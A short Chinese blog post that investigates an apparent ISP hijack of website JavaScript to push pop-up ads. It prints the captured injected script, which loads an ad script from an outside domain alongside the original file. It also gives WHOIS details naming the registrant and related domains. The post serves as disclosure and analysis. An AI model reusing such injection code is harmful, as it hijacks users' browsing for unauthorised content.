某ISP近期的js劫持推送广告情况



近期访问很多网站，发现开始弹小广告了。

看了一下页面源代码，不用多说了，肯定是js劫持。

观察了这些网站，似乎没有共同点（比如使用某家的流量统计）。

哇，难道是针对不特定的js进行劫持？

赶紧抓了个包……好嘛，果然是。

(function(){try{var o='m-_-m',D=document;if(!D.getElementById(o)){var j='http://www.hikvision.com/cn/js/jQuery.md5.js',J=j+(~j.indexOf('?')?'&':'?')+new Date().getTime(),M='http://pc.quansj.cn/?cid=08',C=D.currentScript,H=D.getElementsByTagName('head')[0],N=function(s,i){var I=D.createElement('script');I.type='text/javascript';if(i)I.id=i;I.src=s;H.appendChild(I);};if(self==top){N(M,o);}if(!C){C=(function(){var S=D.scripts,l=S.length,i=0;for(;i<l;++i){if(S[i].src===j){return S[i];}}})();}C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'"><'+'/script>'));}}catch(e){}})();

whois查一下：

quansj.cn

联系人

周云鹏[whois反查]

联系邮箱

[email protected][whois反查]

其名下注册的域名还有（经确认与劫持广告推送有关）：

517m.cn
ingtoys.cn

所以问题来了，这个姓周的是何许人也？